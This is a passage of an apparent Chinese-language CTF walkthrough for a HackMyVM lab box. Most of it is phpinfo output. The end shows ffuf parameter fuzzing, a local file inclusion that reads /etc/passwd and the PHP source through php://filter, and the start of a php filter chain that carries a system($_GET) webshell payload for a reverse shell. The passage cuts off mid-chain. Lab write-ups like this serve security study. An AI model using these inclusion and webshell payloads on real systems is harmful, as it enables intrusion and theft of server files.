iconv library version 	2.31
Directive	Local Value	Master Value
iconv.input_encoding	no value	no value
iconv.internal_encoding	no value	no value
iconv.output_encoding	no value	no value
json
json support 	enabled
libxml
libXML support 	active
libXML Compiled Version 	2.9.10
libXML Loaded Version 	20910
libXML streams 	enabled
openssl
OpenSSL support 	enabled
OpenSSL Library Version 	OpenSSL 1.1.1f 31 Mar 2020
OpenSSL Header Version 	OpenSSL 1.1.1f 31 Mar 2020
Openssl default config 	/usr/lib/ssl/openssl.cnf
Directive	Local Value	Master Value
openssl.cafile	no value	no value
openssl.capath	no value	no value
pcre
PCRE (Perl Compatible Regular Expressions) Support 	enabled
PCRE Library Version 	10.34 2019-11-21
PCRE Unicode Version 	12.1.0
PCRE JIT Support 	enabled
PCRE JIT Target 	x86 64bit (little endian + unaligned)
Directive	Local Value	Master Value
pcre.backtrack_limit	1000000	1000000
pcre.jit	1	1
pcre.recursion_limit	100000	100000
PDO
PDO support	enabled
PDO drivers 	no value
Phar
Phar: PHP Archive support	enabled
Phar API version 	1.1.1
Phar-based phar archives 	enabled
Tar-based phar archives 	enabled
ZIP-based phar archives 	enabled
gzip compression 	enabled
bzip2 compression 	disabled (install ext/bz2)
Native OpenSSL support 	enabled
Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
Directive	Local Value	Master Value
phar.cache_list	no value	no value
phar.readonly	On	On
phar.require_hash	On	On
posix
POSIX support 	enabled
readline
Readline Support	enabled
Readline library 	EditLine wrapper
Directive	Local Value	Master Value
cli.pager	no value	no value
cli.prompt	\b \&amp;gt; 	\b \&amp;gt; 
Reflection
Reflection 	enabled
session
Session Support 	enabled
Registered save handlers 	files user
Registered serializer handlers 	php_serialize php php_binary
Directive	Local Value	Master Value
session.auto_start	Off	Off
session.cache_expire	180	180
session.cache_limiter	nocache	nocache
session.cookie_domain	no value	no value
session.cookie_httponly	no value	no value
session.cookie_lifetime	0	0
session.cookie_path	/	/
session.cookie_samesite	no value	no value
session.cookie_secure	0	0
session.gc_divisor	1000	1000
session.gc_maxlifetime	1440	1440
session.gc_probability	0	0
session.lazy_write	On	On
session.name	PHPSESSID	PHPSESSID
session.referer_check	no value	no value
session.save_handler	files	files
session.save_path	/var/lib/php/sessions	/var/lib/php/sessions
session.serialize_handler	php	php
session.sid_bits_per_character	5	5
session.sid_length	26	26
session.upload_progress.cleanup	On	On
session.upload_progress.enabled	On	On
session.upload_progress.freq	1%	1%
session.upload_progress.min_freq	1	1
session.upload_progress.name	PHP_SESSION_UPLOAD_PROGRESS	PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix	upload_progress_	upload_progress_
session.use_cookies	1	1
session.use_only_cookies	1	1
session.use_strict_mode	0	0
session.use_trans_sid	0	0
shmop
shmop support 	enabled
sockets
Sockets Support 	enabled
sodium
sodium support	enabled
libsodium headers version 	1.0.18
libsodium library version 	1.0.18
SPL
SPL support	enabled
Interfaces 	OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes 	AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
standard
Dynamic Library Support 	enabled
Path to sendmail 	/usr/sbin/sendmail -t -i
Directive	Local Value	Master Value
assert.active	1	1
assert.bail	0	0
assert.callback	no value	no value
assert.exception	0	0
assert.quiet_eval	0	0
assert.warning	1	1
auto_detect_line_endings	0	0
default_socket_timeout	60	60
from	no value	no value
session.trans_sid_hosts	no value	no value
session.trans_sid_tags	a=href,area=href,frame=src,form=	a=href,area=href,frame=src,form=
unserialize_max_depth	4096	4096
url_rewriter.hosts	no value	no value
url_rewriter.tags	form=	form=
user_agent	no value	no value
sysvmsg
sysvmsg support 	enabled
sysvsem
sysvsem support 	enabled
sysvshm
sysvshm support 	enabled
tokenizer
Tokenizer Support 	enabled
Zend OPcache
Opcode Caching 	Up and Running
Optimization 	Enabled
SHM Cache 	Enabled
File Cache 	Disabled
Startup 	OK
Shared memory model 	mmap
Cache hits 	1
Cache misses 	2
Used memory 	9169552
Free memory 	125048176
Wasted memory 	0
Interned Strings Used memory 	189744
Interned Strings Free memory 	6101264
Cached scripts 	2
Cached keys 	2
Max keys 	16229
OOM restarts 	0
Hash keys restarts 	0
Manual restarts 	0
Directive	Local Value	Master Value
opcache.blacklist_filename	no value	no value
opcache.consistency_checks	0	0
opcache.dups_fix	Off	Off
opcache.enable	On	On
opcache.enable_cli	Off	Off
opcache.enable_file_override	Off	Off
opcache.error_log	no value	no value
opcache.file_cache	no value	no value
opcache.file_cache_consistency_checks	1	1
opcache.file_cache_only	0	0
opcache.file_update_protection	2	2
opcache.force_restart_timeout	180	180
opcache.huge_code_pages	Off	Off
opcache.interned_strings_buffer	8	8
opcache.lockfile_path	/tmp	/tmp
opcache.log_verbosity_level	1	1
opcache.max_accelerated_files	10000	10000
opcache.max_file_size	0	0
opcache.max_wasted_percentage	5	5
opcache.memory_consumption	128	128
opcache.opt_debug_level	0	0
opcache.optimization_level	0x7FFEBFFF	0x7FFEBFFF
opcache.preferred_memory_model	no value	no value
opcache.preload	no value	no value
opcache.preload_user	no value	no value
opcache.protect_memory	0	0
opcache.restrict_api	no value	no value
opcache.revalidate_freq	2	2
opcache.revalidate_path	Off	Off
opcache.save_comments	1	1
opcache.use_cwd	On	On
opcache.validate_permission	Off	Off
opcache.validate_root	Off	Off
opcache.validate_timestamps	On	On
zlib
ZLib Support	enabled
Stream Wrapper 	compress.zlib://
Stream Filter 	zlib.inflate, zlib.deflate
Compiled Version 	1.2.11
Linked Version 	1.2.11
Directive	Local Value	Master Value
zlib.output_compression	Off	Off
zlib.output_compression_level	-1	-1
zlib.output_handler	no value	no value
Additional Modules
Module Name
Environment
Variable	Value
APACHE_RUN_DIR 	/var/run/apache2
APACHE_PID_FILE 	/var/run/apache2/apache2.pid
JOURNAL_STREAM 	8:23251
PATH 	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID 	3e18f41ea23e444d91aece512878f6db
APACHE_LOCK_DIR 	/var/lock/apache2
LANG 	C
APACHE_RUN_USER 	www-data
APACHE_RUN_GROUP 	www-data
APACHE_LOG_DIR 	/var/log/apache2
PWD 	/
PHP Variables
Variable	Value
$_SERVER[&amp;#39;HTTP_HOST&amp;#39;]	192.168.0.100
$_SERVER[&amp;#39;HTTP_USER_AGENT&amp;#39;]	Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
$_SERVER[&amp;#39;HTTP_ACCEPT&amp;#39;]	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
$_SERVER[&amp;#39;HTTP_ACCEPT_LANGUAGE&amp;#39;]	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$_SERVER[&amp;#39;HTTP_ACCEPT_ENCODING&amp;#39;]	gzip, deflate
$_SERVER[&amp;#39;HTTP_CONNECTION&amp;#39;]	keep-alive
$_SERVER[&amp;#39;HTTP_UPGRADE_INSECURE_REQUESTS&amp;#39;]	1
$_SERVER[&amp;#39;HTTP_PRIORITY&amp;#39;]	u=0, i
$_SERVER[&amp;#39;PATH&amp;#39;]	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER[&amp;#39;SERVER_SIGNATURE&amp;#39;]	&amp;lt;address&amp;gt;Apache/2.4.41 (Ubuntu) Server at 192.168.0.100 Port 80&amp;lt;/address&amp;gt;
$_SERVER[&amp;#39;SERVER_SOFTWARE&amp;#39;]	Apache/2.4.41 (Ubuntu)
$_SERVER[&amp;#39;SERVER_NAME&amp;#39;]	192.168.0.100
$_SERVER[&amp;#39;SERVER_ADDR&amp;#39;]	192.168.0.100
$_SERVER[&amp;#39;SERVER_PORT&amp;#39;]	80
$_SERVER[&amp;#39;REMOTE_ADDR&amp;#39;]	192.168.0.106
$_SERVER[&amp;#39;DOCUMENT_ROOT&amp;#39;]	/var/www/html
$_SERVER[&amp;#39;REQUEST_SCHEME&amp;#39;]	http
$_SERVER[&amp;#39;CONTEXT_PREFIX&amp;#39;]	no value
$_SERVER[&amp;#39;CONTEXT_DOCUMENT_ROOT&amp;#39;]	/var/www/html
$_SERVER[&amp;#39;SERVER_ADMIN&amp;#39;]	webmaster@localhost
$_SERVER[&amp;#39;SCRIPT_FILENAME&amp;#39;]	/var/www/html/phpsysinfo.php
$_SERVER[&amp;#39;REMOTE_PORT&amp;#39;]	52058
$_SERVER[&amp;#39;GATEWAY_INTERFACE&amp;#39;]	CGI/1.1
$_SERVER[&amp;#39;SERVER_PROTOCOL&amp;#39;]	HTTP/1.1
$_SERVER[&amp;#39;REQUEST_METHOD&amp;#39;]	GET
$_SERVER[&amp;#39;QUERY_STRING&amp;#39;]	no value
$_SERVER[&amp;#39;REQUEST_URI&amp;#39;]	/phpsysinfo.php
$_SERVER[&amp;#39;SCRIPT_NAME&amp;#39;]	/phpsysinfo.php
$_SERVER[&amp;#39;PHP_SELF&amp;#39;]	/phpsysinfo.php
$_SERVER[&amp;#39;REQUEST_TIME_FLOAT&amp;#39;]	1768288822.58
$_SERVER[&amp;#39;REQUEST_TIME&amp;#39;]	1768288822
PHP Credits
PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
Language Design &amp;amp; Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
PHP Authors
Contribution	Authors
Zend Scripting Language Engine 	Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API 	Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization 	Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
Windows Support 	Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer 	Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer 	Wez Furlong, Sara Golemon
PHP Data Objects Layer 	Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler 	Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support 	Anthony Ferrara, Anatol Belski
SAPI Modules
Contribution	Authors
Apache 2.0 Handler 	Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI 	Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI 	Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed 	Edin Kadribasic
FastCGI Process Manager 	Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed 	George Wang
phpdbg 	Felipe Pena, Joe Watkins, Bob Weinand
Module Authors
Module	Authors
BC Math 	Andi Gutmans
Bzip2 	Sterling Hughes
Calendar 	Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net 	Wez Furlong
ctype 	Hartmut Holzgraefe
cURL 	Sterling Hughes
Date/Time Support 	Derick Rethans
DB-LIB (MS SQL, Sybase) 	Wez Furlong, Frank M. Kromann, Adam Baratz
DBA 	Sascha Schumann, Marcus Boerger
DOM 	Christian Stocker, Rob Richards, Marcus Boerger
enchant 	Pierre-Alain Joye, Ilia Alshanetsky
EXIF 	Rasmus Lerdorf, Marcus Boerger
FFI 	Dmitry Stogov
fileinfo 	Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO 	Ard Biesheuvel
FTP 	Stefan Esser, Andrew Skalski
GD imaging 	Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText 	Alex Plotnick
GNU GMP support 	Stanislav Malyshev
Iconv 	Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP 	Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter 	Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
Internationalization 	Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON 	Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP 	Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML 	Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions 	Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO 	George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi 	Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd 	Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 	Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO 	Wez Furlong
ODBC 	Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache 	Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL 	Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO 	Wez Furlong
pcntl 	Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps 	Andrei Zmievski
PHP Archive 	Gregory Beaver, Marcus Boerger
PHP Data Objects 	Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash 	Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix 	Kristian Koehntopp
PostgreSQL driver for PDO 	Edin Kadribasic, Ilia Alshanetsky
PostgreSQL 	Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell 	Vlad Krupin
Readline 	Thies C. Arntzen
Reflection 	Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions 	Sascha Schumann, Andrei Zmievski
Shared Memory Operations 	Slava Poliakov, Ilia Alshanetsky
SimpleXML 	Sterling Hughes, Marcus Boerger, Rob Richards
SNMP 	Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP 	Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets 	Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium 	Frank Denis
SPL 	Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO 	Wez Furlong
SQLite3 	Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC 	Wez Furlong
System V Semaphores 	Tom May
System V Shared Memory 	Christian Cartus
tidy 	John Coggeshall, Ilia Alshanetsky
tokenizer 	Andrei Zmievski, Johannes Schlueter
XML 	Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader 	Rob Richards
xmlrpc 	Dan Libby
XMLWriter 	Rob Richards, Pierre-Alain Joye
XSL 	Christian Stocker, Rob Richards
Zip 	Pierre-Alain Joye, Remi Collet
Zlib 	Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
PHP Documentation
Authors 	Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor 	Peter Cowburn
User Note Maintainers 	Daniel P. Brown, Thiago Henrique Pojda
Other Contributors 	Previously active authors, editors and other contributors are listed in the manual.
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
Websites and Infrastructure team
PHP Websites Team 	Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers 	Damien Seguy, Daniel P. Brown
Network Infrastructure 	Daniel P. Brown
Windows Infrastructure 	Alex Schoenmaker
PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/prices&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Ephemeral-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;列目录中存在filedownload.php&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://192.168.0.100/prices/filedownload.php&quot;&gt;http://192.168.0.100/prices/filedownload.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;访问后发现是空白页&lt;/p&gt;
&lt;h2&gt;ffuf&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.0.100/prices/filedownload.php?FUZZ=../index.html -fs 0 -v


        /&amp;#39;___\  /&amp;#39;___\           /&amp;#39;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.100/prices/filedownload.php?FUZZ=../index.html
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

:: Progress: [40/6453] :: Job [1/1] :: 0 req/sec :: D:: Progress: [1085/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [2237/6453] :: Job [1/1] :: 0 req/sec ::[Status: 200, Size: 39494, Words: 19456, Lines: 768, Duration: 328ms]
| URL | http://192.168.0.100/prices/filedownload.php?AssignmentForm=../index.html
    * FUZZ: AssignmentForm

:: Progress: [3055/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [3418/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [4523/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [5696/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [6453/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [6453/6453] :: Job [1/1] :: 39 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| URL | &lt;a href=&quot;http://192.168.0.100/prices/filedownload.php?AssignmentForm=../index.html&quot;&gt;http://192.168.0.100/prices/filedownload.php?AssignmentForm=../index.html&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* FUZZ: AssignmentForm
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
kevin:x:1000:1000:kevin,,,:/home/kevin:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:127:134:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
mysql:x:129:135:MySQL Server,,,:/nonexistent:/bin/false
jane:x:1001:1001:,,,:/home/jane:/bin/bash
donald:x:1004:1004::/home/donald:/bin/rbash
randy:x:1002:1002:,,,:/home/randy:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;http://192.168.0.100/prices/filedownload.php?AssignmentForm=php://filter//convert.base64-encode/resource=filedownload.php  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试读取源代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PD9waHAKICAgJGZpbGUgPSAkX0dFVFsnQXNzaWdubWVudEZvcm0nXTsKICAgaWYoaXNzZXQoJGZpbGUpKQogICB7CiAgICAgICBpbmNsdWRlKCIkZmlsZSIpOwogICB9CiAgIGVsc2UKICAgewogICAgICAgaW5jbHVkZSgiaW5kZXgucGhwIik7CiAgIH0KICAgPz4K
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;?php
   $file = $_GET[&amp;#39;AssignmentForm&amp;#39;];
   if(isset($file))
   {
       include(&amp;quot;$file&amp;quot;);
   }
   else
   {
       include(&amp;quot;index.php&amp;quot;);
   }
   ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;方法一：php伪协议链反弹shell&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/php_filter_chain_generator-main]
└─# python php_filter_chain_generator.py --chain &amp;quot;&amp;lt;?php system(\$_GET[&amp;#39;0&amp;#39;]);?&amp;gt;&amp;quot;
[+] The following gadget chain will generate the following code : &amp;lt;?php system($_GET[&amp;#39;0&amp;#39;]);?&amp;gt; (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWycwJ10pOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|conv